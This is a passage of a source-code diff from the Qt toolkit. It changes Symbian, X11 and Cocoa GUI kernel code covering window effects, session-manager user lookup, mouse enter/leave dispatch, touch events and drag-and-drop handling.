if (QT_MKDIR(dataDir, 0700)) {
if (errno != EEXIST) {
qFatal("Cannot create Qt for Embedded Linux data directory: %s", dataDir.constData());
diff --git a/src/gui/kernel/qapplication_s60.cpp b/src/gui/kernel/qapplication_s60.cpp
index 3a70dd5..586869a 100644
--- a/src/gui/kernel/qapplication_s60.cpp
+++ b/src/gui/kernel/qapplication_s60.cpp
@@ -87,7 +87,7 @@
#include <hal.h>
#include <hal_data.h>
-#ifdef SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS
+#ifdef Q_SYMBIAN_TRANSITION_EFFECTS
#include <graphics/wstfxconst.h>
#endif
@@ -432,7 +432,7 @@ void QSymbianControl::ConstructL(bool isWindowOwning, bool desktop)
DrawableWindow()->SetPointerGrab(ETrue);
}
-#ifdef SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS
+#ifdef Q_SYMBIAN_TRANSITION_EFFECTS
if (OwnsWindow()) {
TTfxWindowPurpose windowPurpose(ETfxPurposeNone);
switch (qwidget->windowType()) {
@@ -1245,12 +1245,14 @@ void QSymbianControl::FocusChanged(TDrawNow /* aDrawNow */)
#ifdef Q_WS_S60
// If widget is fullscreen/minimized, hide status pane and button container otherwise show them.
QWidget *const window = qwidget->window();
- const bool visible = !(window->windowState() & (Qt::WindowFullScreen | Qt::WindowMinimized));
- const bool statusPaneVisibility = visible;
- const bool isFullscreen = window->windowState() & Qt::WindowFullScreen;
- const bool cbaVisibilityHint = window->windowFlags() & Qt::WindowSoftkeysVisibleHint;
- const bool buttonGroupVisibility = (visible || (isFullscreen && cbaVisibilityHint));
- S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility);
+ if (!window->parentWidget()) { // Only top level native windows have control over cba/status pane
+ const bool decorationsVisible = !(window->windowState() & (Qt::WindowFullScreen | Qt::WindowMinimized));
+ const bool statusPaneVisibility = decorationsVisible;
+ const bool isFullscreen = window->windowState() & Qt::WindowFullScreen;
+ const bool cbaVisibilityHint = window->windowFlags() & Qt::WindowSoftkeysVisibleHint;
+ const bool buttonGroupVisibility = (decorationsVisible || (isFullscreen && cbaVisibilityHint));
+ S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility);
+ }
#endif
} else if (QApplication::activeWindow() == qwidget->window()) {
bool focusedControlFound = false;
@@ -1545,6 +1547,8 @@ void qt_init(QApplicationPrivate * /* priv */, int)
repository = 0;
#endif
+ qt_keymapper_private()->updateInputLanguage();
+
#ifdef QT_KEYPAD_NAVIGATION
if (touch) {
QApplicationPrivate::navigationMode = Qt::NavigationModeNone;
@@ -1584,7 +1588,7 @@ void qt_init(QApplicationPrivate * /* priv */, int)
systemFont.setFamily(systemFont.defaultFamily());
QApplicationPrivate::setSystemFont(systemFont);
-#ifdef SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS
+#ifdef Q_SYMBIAN_TRANSITION_EFFECTS
QObject::connect(qApp, SIGNAL(aboutToQuit()), qApp, SLOT(_q_aboutToQuit()));
#endif
@@ -1616,7 +1620,9 @@ void qt_init(QApplicationPrivate * /* priv */, int)
qRegisterMetaType<WId>("WId");
}
-extern void qt_cleanup_symbianFontDatabaseExtras(); // qfontdatabase_s60.cpp
+#ifdef QT_NO_FREETYPE
+extern void qt_cleanup_symbianFontDatabase(); // qfontdatabase_s60.cpp
+#endif
/*****************************************************************************
qt_cleanup() - cleans up when the application is finished
@@ -1633,7 +1639,9 @@ void qt_cleanup()
QFontCache::cleanup(); // Has to happen now, since QFontEngineS60 has FBS handles
QPixmapCache::clear(); // Has to happen now, since QS60PixmapData has FBS handles
- qt_cleanup_symbianFontDatabaseExtras();
+#ifdef QT_NO_FREETYPE
+ qt_cleanup_symbianFontDatabase();
+#endif
// S60 structure and window server session are freed in eventdispatcher destructor as they are needed there
// It's important that this happens here, before the event dispatcher gets
@@ -1687,7 +1695,7 @@ bool QApplicationPrivate::modalState()
void QApplicationPrivate::enterModal_sys(QWidget *widget)
{
-#ifdef SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS
+#ifdef Q_SYMBIAN_TRANSITION_EFFECTS
S60->wsSession().SendEffectCommand(ETfxCmdAppModalModeEnter);
#endif
if (widget) {
@@ -1705,7 +1713,7 @@ void QApplicationPrivate::enterModal_sys(QWidget *widget)
void QApplicationPrivate::leaveModal_sys(QWidget *widget)
{
-#ifdef SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS
+#ifdef Q_SYMBIAN_TRANSITION_EFFECTS
S60->wsSession().SendEffectCommand(ETfxCmdAppModalModeExit);
#endif
if (widget) {
@@ -2019,6 +2027,9 @@ int QApplicationPrivate::symbianProcessWsEvent(const QSymbianEvent *symbianEvent
S60->wsSession().SetPointerCursorMode(EPointerCursorNormal);
}
#endif
+#ifdef QT_SOFTKEYS_ENABLED
+ QSoftKeyManager::updateSoftKeys();
+#endif
break;
case EEventFocusLost:
if (callSymbianEventFilters(symbianEvent))
@@ -2085,6 +2096,13 @@ int QApplicationPrivate::symbianProcessWsEvent(const QSymbianEvent *symbianEvent
}
break;
#endif
+
+#ifdef Q_WS_S60
+ case KEikInputLanguageChange:
+ qt_keymapper_private()->updateInputLanguage();
+ break;
+#endif
+
default:
break;
}
@@ -2383,7 +2401,7 @@ void QApplication::restoreOverrideCursor()
void QApplicationPrivate::_q_aboutToQuit()
{
-#ifdef SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS
+#ifdef Q_SYMBIAN_TRANSITION_EFFECTS
// Send the shutdown tfx command
S60->wsSession().SendEffectCommand(ETfxCmdAppShutDown);
#endif
diff --git a/src/gui/kernel/qapplication_x11.cpp b/src/gui/kernel/qapplication_x11.cpp
index 2c51722..589b12e 100644
--- a/src/gui/kernel/qapplication_x11.cpp
+++ b/src/gui/kernel/qapplication_x11.cpp
@@ -5227,14 +5227,15 @@ bool QETWidget::translateConfigEvent(const XEvent *event)
bool trust = isVisible()
&& (d->topData()->parentWinId == XNone ||
d->topData()->parentWinId == QX11Info::appRootWindow());
+ bool isCPos = false;
if (event->xconfigure.send_event || trust) {
// if a ConfigureNotify comes from a real sendevent request, we can
// trust its values.
newCPos.rx() = event->xconfigure.x + event->xconfigure.border_width;
newCPos.ry() = event->xconfigure.y + event->xconfigure.border_width;
+ isCPos = true;
}
-
if (isVisible())
QApplication::syncX();
@@ -5260,6 +5261,7 @@ bool QETWidget::translateConfigEvent(const XEvent *event)
otherEvent.xconfigure.border_width;
newCPos.ry() = otherEvent.xconfigure.y +
otherEvent.xconfigure.border_width;
+ isCPos = true;
}
}
#ifndef QT_NO_XSYNC
@@ -5272,6 +5274,19 @@ bool QETWidget::translateConfigEvent(const XEvent *event)
#endif // QT_NO_XSYNC
}
+ if (!isCPos) {
+ // we didn't get an updated position of the toplevel.
+ // either we haven't moved or there is a bug in the window manager.
+ // anyway, let's query the position to be certain.
+ int x, y;
+ Window child;
+ XTranslateCoordinates(X11->display, internalWinId(),
+ QApplication::desktop()->screen(d->xinfo.screen())->internalWinId(),
+ 0, 0, &x, &y, &child);
+ newCPos.rx() = x;
+ newCPos.ry() = y;
+ }
+
QRect cr (geometry());
if (newCPos != cr.topLeft()) { // compare with cpos (exluding frame)
QPoint oldPos = geometry().topLeft();
@@ -5314,18 +5329,6 @@ bool QETWidget::translateConfigEvent(const XEvent *event)
}
if (wasResize) {
- static bool slowResize = qgetenv("QT_SLOW_TOPLEVEL_RESIZE").toInt();
- if (d->extra->compress_events && !slowResize && !data->in_show && isVisible()) {
- QApplication::syncX();
- XEvent otherEvent;
- while (XCheckTypedWindowEvent(X11->display, internalWinId(), ConfigureNotify, &otherEvent)
- && !qt_x11EventFilter(&otherEvent) && !x11Event(&otherEvent)
- && otherEvent.xconfigure.event == otherEvent.xconfigure.window) {
- data->crect.setWidth(otherEvent.xconfigure.width);
- data->crect.setHeight(otherEvent.xconfigure.height);
- }
- }
-
if (isVisible() && data->crect.size() != oldSize) {
Q_ASSERT(d->extra->topextra);
QWidgetBackingStore *bs = d->extra->topextra->backingStore.data();
@@ -5334,7 +5337,7 @@ bool QETWidget::translateConfigEvent(const XEvent *event)
// resize optimization in order to get invalidated regions for resized widgets.
// The optimization discards all invalidateBuffer() calls since we're going to
// repaint everything anyways, but that's not the case with static contents.
- if (!slowResize && !hasStaticContents)
+ if (!hasStaticContents)
d->extra->topextra->inTopLevelResize = true;
QResizeEvent e(data->crect.size(), oldSize);
QApplication::sendSpontaneousEvent(this, &e);
@@ -5658,10 +5661,21 @@ static void sm_performSaveYourself(QSessionManagerPrivate* smd)
sm_setProperty(QString::fromLatin1(SmProgram), argument0);
// tell the session manager about our user as well.
struct passwd *entryPtr = 0;
-#if !defined(QT_NO_THREAD) && defined(_POSIX_THREAD_SAFE_FUNCTIONS) && !defined(Q_OS_OPENBSD)
- QVarLengthArray<char, 1024> buf(sysconf(_SC_GETPW_R_SIZE_MAX));
+#if defined(_POSIX_THREAD_SAFE_FUNCTIONS) && (_POSIX_THREAD_SAFE_FUNCTIONS - 0 > 0)
+ QVarLengthArray<char, 1024> buf(qMax<long>(sysconf(_SC_GETPW_R_SIZE_MAX), 1024L));
struct passwd entry;
- getpwuid_r(geteuid(), &entry, buf.data(), buf.size(), &entryPtr);
+ while (getpwuid_r(geteuid(), &entry, buf.data(), buf.size(), &entryPtr) == ERANGE) {
+ if (buf.size() >= 32768) {
+ // too big already, fail
+ static char badusername[] = "";
+ entryPtr = &entry;
+ entry.pw_name = badusername;
+ break;
+ }
+
+ // retry with a bigger buffer
+ buf.resize(buf.size() * 2);
+ }
#else
entryPtr = getpwuid(geteuid());
#endif
diff --git a/src/gui/kernel/qcocoaapplicationdelegate_mac.mm b/src/gui/kernel/qcocoaapplicationdelegate_mac.mm
index bf4d9e5..77cd890 100644
--- a/src/gui/kernel/qcocoaapplicationdelegate_mac.mm
+++ b/src/gui/kernel/qcocoaapplicationdelegate_mac.mm
@@ -90,6 +90,10 @@
QT_BEGIN_NAMESPACE
extern void onApplicationChangedActivation(bool); // qapplication_mac.mm
extern void qt_release_apple_event_handler(); //qapplication_mac.mm
+extern QPointer<QWidget> qt_last_mouse_receiver; // qapplication_mac.cpp
+extern QPointer<QWidget> qt_last_native_mouse_receiver; // qt_cocoa_helpers_mac.mm
+extern QPointer<QWidget> qt_button_down; // qapplication_mac.cpp
+
QT_END_NAMESPACE
QT_FORWARD_DECLARE_CLASS(QDesktopWidgetImplementation)
@@ -254,7 +258,20 @@ static void cleanupCocoaApplicationDelegate()
if (reflectionDelegate
&& [reflectionDelegate respondsToSelector:@selector(applicationDidBecomeActive:)])
[reflectionDelegate applicationDidBecomeActive:notification];
+
onApplicationChangedActivation(true);
+
+ if (!QWidget::mouseGrabber()){
+ // Update enter/leave immidiatly, don't wait for a move event. But only
+ // if no grab exists (even if the grab points to this widget, it seems, ref X11)
+ QPoint qlocal, qglobal;
+ QWidget *widgetUnderMouse = 0;
+ qt_mac_getTargetForMouseEvent(0, QEvent::Enter, qlocal, qglobal, 0, &widgetUnderMouse);
+ QApplicationPrivate::dispatchEnterLeave(widgetUnderMouse, 0);
+ qt_last_mouse_receiver = widgetUnderMouse;
+ qt_last_native_mouse_receiver = widgetUnderMouse ?
+ (widgetUnderMouse->internalWinId() ? widgetUnderMouse : widgetUnderMouse->nativeParentWidget()) : 0;
+ }
}
- (void)applicationDidResignActive:(NSNotification *)notification
@@ -262,7 +279,14 @@ static void cleanupCocoaApplicationDelegate()
if (reflectionDelegate
&& [reflectionDelegate respondsToSelector:@selector(applicationDidResignActive:)])
[reflectionDelegate applicationDidResignActive:notification];
+
onApplicationChangedActivation(false);
+
+ if (!QWidget::mouseGrabber())
+ QApplicationPrivate::dispatchEnterLeave(0, qt_last_mouse_receiver);
+ qt_last_mouse_receiver = 0;
+ qt_last_native_mouse_receiver = 0;
+ qt_button_down = 0;
}
- (void)applicationDidChangeScreenParameters:(NSNotification *)notification
diff --git a/src/gui/kernel/qcocoapanel_mac.mm b/src/gui/kernel/qcocoapanel_mac.mm
index a0f17bc..67a12e2 100644
--- a/src/gui/kernel/qcocoapanel_mac.mm
+++ b/src/gui/kernel/qcocoapanel_mac.mm
@@ -47,9 +47,10 @@
#import <private/qcocoaview_mac_p.h>
#import <private/qcocoawindowcustomthemeframe_mac_p.h>
#import <private/qcocoaapplication_mac_p.h>
-#include <private/qapplication_p.h>
-#include <private/qbackingstore_p.h>
-
+#import <private/qmultitouch_mac_p.h>
+#import <private/qapplication_p.h>
+#import <private/qbackingstore_p.h>
+#import <private/qdnd_p.h>
#include <QtGui/QWidget>
diff --git a/src/gui/kernel/qcocoapanel_mac_p.h b/src/gui/kernel/qcocoapanel_mac_p.h
index e4dd73b..b41a4b5 100644
--- a/src/gui/kernel/qcocoapanel_mac_p.h
+++ b/src/gui/kernel/qcocoapanel_mac_p.h
@@ -50,20 +50,27 @@
// We mean it.
//
+#ifndef QCOCOAPANEL_MAC_P
+#define QCOCOAPANEL_MAC_P
+
#include "qmacdefines_mac.h"
#ifdef QT_MAC_USE_COCOA
#import <Cocoa/Cocoa.h>
QT_FORWARD_DECLARE_CLASS(QStringList);
+QT_FORWARD_DECLARE_CLASS(QCocoaDropData);
@interface QT_MANGLE_NAMESPACE(QCocoaPanel) : NSPanel {
- bool leftButtonIsRightButton;
QStringList *currentCustomDragTypes;
+ QCocoaDropData *dropData;
+ NSInteger dragEnterSequence;
}
+ (Class)frameViewClassForStyleMask:(NSUInteger)styleMask;
- (void)registerDragTypes;
+- (void)drawRectOriginal:(NSRect)rect;
@end
#endif
+#endif
diff --git a/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h b/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h
index df0f24e..c4b74c6 100644
--- a/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h
+++ b/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h
@@ -62,7 +62,6 @@ extern void qt_event_request_window_change(QWidget *); // qapplication_mac.mm
extern void qt_mac_send_posted_gl_updates(QWidget *widget); // qapplication_mac.mm
Q_GLOBAL_STATIC(QPointer<QWidget>, currentDragTarget);
-
QT_END_NAMESPACE
- (id)initWithContentRect:(NSRect)contentRect
@@ -89,6 +88,8 @@ QT_END_NAMESPACE
QWidget *widget = [self QT_MANGLE_NAMESPACE(qt_qwidget)];
if (!widget)
return NO; // This should happen only for qt_root_win
+ if (QApplicationPrivate::isBlockedByModal(widget))
+ return NO;
bool isToolTip = (widget->windowType() == Qt::ToolTip);
bool isPopup = (widget->windowType() == Qt::Popup);
@@ -100,6 +101,8 @@ QT_END_NAMESPACE
QWidget *widget = [self QT_MANGLE_NAMESPACE(qt_qwidget)];
if (!widget)
return NO; // This should happen only for qt_root_win
+ if ([self isSheet])
+ return NO;
bool isToolTip = (widget->windowType() == Qt::ToolTip);
bool isPopup = (widget->windowType() == Qt::Popup);
@@ -145,66 +148,27 @@ QT_END_NAMESPACE
- (void)sendEvent:(NSEvent *)event
{
- QWidget *widget = [[QT_MANGLE_NAMESPACE(QCocoaWindowDelegate) sharedDelegate] qt_qwidgetForWindow:self];
- // Cocoa can hold onto the window after we've disavowed its knowledge. So,
- // if we get sent an event afterwards just have it go through the super's
- // version and don't do any stuff with Qt.
- if (!widget) {
- [super sendEvent:event];
- return;
- }
-
[self retain];
- QT_MANGLE_NAMESPACE(QCocoaView) *view = static_cast<QT_MANGLE_NAMESPACE(QCocoaView) *>(qt_mac_nativeview_for(widget));
- Qt::MouseButton mouseButton = cocoaButton2QtButton([event buttonNumber]);
bool handled = false;
- // sometimes need to redirect mouse events to the popup.
- QWidget *popup = qAppInstance()->activePopupWidget();
- if (popup && popup != widget) {
- switch([event type])
- {
- case NSLeftMouseDown:
- if (!qt_button_down)
- qt_button_down = widget;
- handled = qt_mac_handleMouseEvent(view, event, QEvent::MouseButtonPress, mouseButton);
- // Don't call super here. This prevents us from getting the mouseUp event,
- // which we need to send even if the mouseDown event was not accepted.
- // (this is standard Qt behavior.)
- break;
- case NSRightMouseDown:
- case NSOtherMouseDown:
- if (!qt_button_down)
- qt_button_down = widget;
- handled = qt_mac_handleMouseEvent(view, event, QEvent::MouseButtonPress, mouseButton);
- break;
- case NSLeftMouseUp:
- case NSRightMouseUp:
- case NSOtherMouseUp:
- handled = qt_mac_handleMouseEvent(view, event, QEvent::MouseButtonRelease, mouseButton);
- qt_button_down = 0;
- break;
- case NSMouseMoved:
- handled = qt_mac_handleMouseEvent(view, event, QEvent::MouseMove, Qt::NoButton);
- break;
- case NSLeftMouseDragged:
- case NSRightMouseDragged:
- case NSOtherMouseDragged:
- [QT_MANGLE_NAMESPACE(QCocoaView) currentMouseEvent]->view = view;
- [QT_MANGLE_NAMESPACE(QCocoaView) currentMouseEvent]->theEvent = event;
- handled = qt_mac_handleMouseEvent(view, event, QEvent::MouseMove, mouseButton);
- break;
- default:
- [super sendEvent:event];
- break;
- }
- } else {
- [super sendEvent:event];
+ switch([event type]) {
+ case NSMouseMoved:
+ // Cocoa sends move events to a parent and all its children under the mouse, much
+ // like Qt handles hover events. But we only want to handle the move event once, so
+ // to optimize a bit (since we subscribe for move event for all views), we handle it
+ // here before this logic happends. Note: it might be tempting to do this shortcut for
+ // all mouse events. The problem is that Cocoa does more than just find the correct view
+ // when sending the event, like raising windows etc. So avoid it as much as possible:
+ handled = qt_mac_handleMouseEvent(event, QEvent::MouseMove, Qt::NoButton, 0);
+ break;
+ default:
+ break;
}
- if (!handled)
- qt_mac_dispatchNCMouseMessage(self, event, [self QT_MANGLE_NAMESPACE(qt_qwidget)], leftButtonIsRightButton);
-
+ if (!handled) {
+ [super sendEvent:event];
+ qt_mac_handleNonClientAreaMouseEvent(self, event);
+ }
[self release];
}
@@ -237,6 +201,56 @@ QT_END_NAMESPACE
return [super frameViewClassForStyleMask:styleMask];
}
+#if MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_6
+- (void)touchesBeganWithEvent:(NSEvent *)event;
+{
+ QPoint qlocal, qglobal;
+ QWidget *widgetToGetTouch = 0;
+ qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, 0, &widgetToGetTouch);
+ if (!widgetToGetTouch)
+ return;
+
+ bool all = widgetToGetTouch->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents);
+ qt_translateRawTouchEvent(widgetToGetTouch, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all));
+}
+
+- (void)touchesMovedWithEvent:(NSEvent *)event;
+{
+ QPoint qlocal, qglobal;
+ QWidget *widgetToGetTouch = 0;
+ qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, 0, &widgetToGetTouch);
+ if (!widgetToGetTouch)
+ return;
+
+ bool all = widgetToGetTouch->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents);
+ qt_translateRawTouchEvent(widgetToGetTouch, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all));
+}
+
+- (void)touchesEndedWithEvent:(NSEvent *)event;
+{
+ QPoint qlocal, qglobal;
+ QWidget *widgetToGetTouch = 0;
+ qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, 0, &widgetToGetTouch);
+ if (!widgetToGetTouch)
+ return;
+
+ bool all = widgetToGetTouch->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents);
+ qt_translateRawTouchEvent(widgetToGetTouch, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all));
+}
+
+- (void)touchesCancelledWithEvent:(NSEvent *)event;
+{
+ QPoint qlocal, qglobal;
+ QWidget *widgetToGetTouch = 0;
+ qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, 0, &widgetToGetTouch);
+ if (!widgetToGetTouch)
+ return;
+
+ bool all = widgetToGetTouch->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents);
+ qt_translateRawTouchEvent(widgetToGetTouch, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all));
+}
+#endif // MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_6
+
-(void)registerDragTypes
{
// Calling registerForDraggedTypes below is slow, so only do
@@ -259,21 +273,47 @@ QT_END_NAMESPACE
NSMultipleTextSelectionPboardType, mimeTypeGeneric, nil];
// Add custom types supported by the application.
for (int i = 0; i < customTypes.size(); i++) {
- [supportedTypes addObject:reinterpret_cast<const NSString *>(QCFString::toCFStringRef(customTypes[i]))];
+ [supportedTypes addObject:qt_mac_QStringToNSString(customTypes[i])];
}
[self registerForDraggedTypes:supportedTypes];
}
}
-- (QWidget *)dragTargetHitTest:(id <NSDraggingInfo>)sender
+- (void)removeDropData
{
- // Do a hittest to find the NSView under the
- // mouse, and return the corresponding QWidget:
- NSPoint windowPoint = [sender draggingLocation];
- NSView *candidateView = [[self contentView] hitTest:windowPoint];
- if (![candidateView isKindOfClass:[QT_MANGLE_NAMESPACE(QCocoaView) class]])
- return 0;
- return [static_cast<QT_MANGLE_NAMESPACE(QCocoaView) *>(candidateView) qt_qwidget];
+ if (dropData) {
+ delete dropData;
+ dropData = 0;
+ }
+}
+
+- (void)addDropData:(id <NSDraggingInfo>)sender
+{
+ [self removeDropData];
+ CFStringRef dropPasteboard = (CFStringRef) [[sender draggingPasteboard] name];
+ dropData = new QCocoaDropData(dropPasteboard);
+}
+
+- (void)changeDraggingCursor:(NSDragOperation)newOperation
+{
+ static SEL action = nil;
+ static bool operationSupported = false;
+ if (action == nil) {
+ action = NSSelectorFromString(@"operationNotAllowedCursor");
+ if ([NSCursor respondsToSelector:action]) {
+ operationSupported = true;
+ }
+ }
+ if (operationSupported) {
+ NSCursor *notAllowedCursor = [NSCursor performSelector:action];
+ bool isNotAllowedCursor = ([NSCursor currentCursor] == notAllowedCursor);
+ if (newOperation == NSDragOperationNone && !isNotAllowedCursor) {
+ [notAllowedCursor push];
+ } else if (newOperation != NSDragOperationNone && isNotAllowedCursor) {
+ [notAllowedCursor pop];
+ }
+
+ }
}
- (NSDragOperation)draggingEntered:(id <NSDraggingInfo>)sender
@@ -286,64 +326,211 @@ QT_END_NAMESPACE
// registerForDraggedTypes on the views will severly degrade initialization time
// for an application that uses a lot of drag subscribing widgets.
- QWidget *target = [self dragTargetHitTest:sender];
- if (!target)
+ NSPoint nswindowPoint = [sender draggingLocation];
+ NSPoint nsglobalPoint = [[sender draggingDestinationWindow] convertBaseToScreen:nswindowPoint];
+ QPoint globalPoint = flipPoint(nsglobalPoint).toPoint();
+
+ QWidget *qwidget = QApplication::widgetAt(globalPoint);
+ *currentDragTarget() = qwidget;
+ if (!qwidget)
return [super draggingEntered:sender];
- if (target->testAttribute(Qt::WA_DropSiteRegistered) == false)
+ if (qwidget->testAttribute(Qt::WA_DropSiteRegistered) == false)
return NSDragOperationNone;
- *currentDragTarget() = target;
- return [reinterpret_cast<NSView *>((*currentDragTarget())->winId()) draggingEntered:sender];
+ [self addDropData:sender];
+
+ QMimeData *mimeData = dropData;
+ if (QDragManager::self()->source())
+ mimeData = QDragManager::self()->dragPrivate()->data;
+
+ NSDragOperation nsActions = [sender draggingSourceOperationMask];
+ Qt::DropActions qtAllowed = qt_mac_mapNSDragOperations(nsActions);
+ QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastOperation) = nsActions;
+ Qt::KeyboardModifiers modifiers = Qt::NoModifier;
+
+ if ([sender draggingSource] != nil) {
+ // modifier flags might have changed, update it here since we don't send any input events.
+ QApplicationPrivate::modifier_buttons = qt_cocoaModifiers2QtModifiers([[NSApp currentEvent] modifierFlags]);
+ modifiers = QApplication::keyboardModifiers();
+ } else {
+ // when the source is from another application the above technique will not work.
+ modifiers = qt_cocoaDragOperation2QtModifiers(nsActions);
+ }
+
+ // send the drag enter event to the widget.
+ QPoint localPoint(qwidget->mapFromGlobal(globalPoint));
+ QDragEnterEvent qDEEvent(localPoint, qtAllowed, mimeData, QApplication::mouseButtons(), modifiers);
+ QApplication::sendEvent(qwidget, &qDEEvent);
+
+ if (!qDEEvent.isAccepted()) {
+ // The enter event was not accepted. We mark this by removing
+ // the drop data so we don't send subsequent drag move events:
+ [self removeDropData];
+ [self changeDraggingCursor:NSDragOperationNone];
+ return NSDragOperationNone;
+ } else {
+ // Send a drag move event immediately after a drag enter event (as per documentation).
+ QDragMoveEvent qDMEvent(localPoint, qtAllowed, mimeData, QApplication::mouseButtons(), modifiers);
+ qDMEvent.setDropAction(qDEEvent.dropAction());
+ qDMEvent.accept(); // accept by default, since enter event was accepted.
+ QApplication::sendEvent(qwidget, &qDMEvent);
+
+ if (!qDMEvent.isAccepted() || qDMEvent.dropAction() == Qt::IgnoreAction) {
+ // Since we accepted the drag enter event, the widget expects
+ // future drage move events.
+ nsActions = NSDragOperationNone;
+ // Save as ignored in the answer rect.
+ qDMEvent.setDropAction(Qt::IgnoreAction);
+ } else {
+ nsActions = QT_PREPEND_NAMESPACE(qt_mac_mapDropAction)(qDMEvent.dropAction());
+ }
+
+ QT_PREPEND_NAMESPACE(qt_mac_copy_answer_rect)(qDMEvent);
+ [self changeDraggingCursor:nsActions];
+ return nsActions;
+ }
}
-- (NSDragOperation)draggingUpdated:(id < NSDraggingInfo >)sender
+- (NSDragOperation)draggingUpdated:(id <NSDraggingInfo>)sender
{
- QWidget *target = [self dragTargetHitTest:sender];
- if (!target)
- return [super draggingUpdated:sender];
-
- if (target == *currentDragTarget()) {
- // The drag continues to move over the widget that we have sendt
- // a draggingEntered message to. So just update the view:
- return [reinterpret_cast<NSView *>((*currentDragTarget())->winId()) draggingUpdated:sender];
- } else {
- // The widget under the mouse has changed.
- // So we need to fake enter/leave events:
- if (*currentDragTarget())
- [reinterpret_cast<NSView *>((*currentDragTarget())->winId()) draggingExited:sender];
- if (target->testAttribute(Qt::WA_DropSiteRegistered) == false) {
- *currentDragTarget() = 0;
- return NSDragOperationNone;
+ NSPoint nswindowPoint = [sender draggingLocation];
+ NSPoint nsglobalPoint = [[sender draggingDestinationWindow] convertBaseToScreen:nswindowPoint];
+ QPoint globalPoint = flipPoint(nsglobalPoint).toPoint();
+
+ QWidget *qwidget = QApplication::widgetAt(globalPoint);
+ if (!qwidget)
+ return [super draggingEntered:sender];
+
+ // First, check if the widget under the mouse has changed since the
+ // last drag move events. If so, we need to change target, and dispatch
+ // syntetic drag enter/leave events:
+ if (qwidget != *currentDragTarget()) {
+ if (*currentDragTarget() && dropData) {
+ QDragLeaveEvent de;
+ QApplication::sendEvent(*currentDragTarget(), &de);
+ [self removeDropData];
}
- *currentDragTarget() = target;
- return [reinterpret_cast<NSView *>((*currentDragTarget())->winId()) draggingEntered:sender];
+ return [self draggingEntered:sender];
+ }
+
+ if (qwidget->testAttribute(Qt::WA_DropSiteRegistered) == false)
+ return NSDragOperationNone;
+
+ // If we have no drop data (which will be assigned inside draggingEntered), it means
+ // that the current drag target did not accept the enter event. If so, we ignore
+ // subsequent move events as well:
+ if (dropData == 0) {
+ [self changeDraggingCursor:NSDragOperationNone];
+ return NSDragOperationNone;
+ }
+
+ // If the mouse is still within the accepted rect (provided by
+ // the application on a previous event), we follow the optimization
+ // and just return the answer given at that point:
+ NSDragOperation nsActions = [sender draggingSourceOperationMask];
+ QPoint localPoint(qwidget->mapFromGlobal(globalPoint));
+ if (qt_mac_mouse_inside_answer_rect(localPoint)
+ && QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastOperation) == nsActions) {
+ NSDragOperation operation = QT_PREPEND_NAMESPACE(qt_mac_mapDropActions)(QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastAction));
+ [self changeDraggingCursor:operation];
+ return operation;
}
+
+ QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastOperation) = nsActions;
+ Qt::DropActions qtAllowed = QT_PREPEND_NAMESPACE(qt_mac_mapNSDragOperations)(nsActions);
+ Qt::KeyboardModifiers modifiers = Qt::NoModifier;
+
+ // Update modifiers:
+ if ([sender draggingSource] != nil) {
+ QApplicationPrivate::modifier_buttons = qt_cocoaModifiers2QtModifiers([[NSApp currentEvent] modifierFlags]);
+ modifiers = QApplication::keyboardModifiers();
+ } else {
+ modifiers = qt_cocoaDragOperation2QtModifiers(nsActions);
+ }
+
+ QMimeData *mimeData = dropData;
+ if (QDragManager::self()->source())
+ mimeData = QDragManager::self()->dragPrivate()->data;
+
+ // Insert the same drop action on the event according to
+ // what the application told us it should be on the previous event:
+ QDragMoveEvent qDMEvent(localPoint, qtAllowed, mimeData, QApplication::mouseButtons(), modifiers);
+ if (QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).lastAction != Qt::IgnoreAction
+ && QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).buttons == qDMEvent.mouseButtons()
+ && QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).modifiers == qDMEvent.keyboardModifiers())
+ qDMEvent.setDropAction(QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).lastAction);
+
+ // Now, end the drag move event to the widget:
+ qDMEvent.accept();
+ QApplication::sendEvent(qwidget, &qDMEvent);
+
+ NSDragOperation operation = qt_mac_mapDropAction(qDMEvent.dropAction());
+ if (!qDMEvent.isAccepted() || qDMEvent.dropAction() == Qt::IgnoreAction) {
+ // Ignore this event (we will still receive further
+ // notifications), save as ignored in the answer rect:
+ operation = NSDragOperationNone;
+ qDMEvent.setDropAction(Qt::IgnoreAction);
+ }
+
+ qt_mac_copy_answer_rect(qDMEvent);
+ [self changeDraggingCursor:operation];
+
+ return operation;
}
-- (void)draggingExited:(id < NSDraggingInfo >)sender
+- (void)draggingExited:(id <NSDraggingInfo>)sender
{
- QWidget *target = [self dragTargetHitTest:sender];
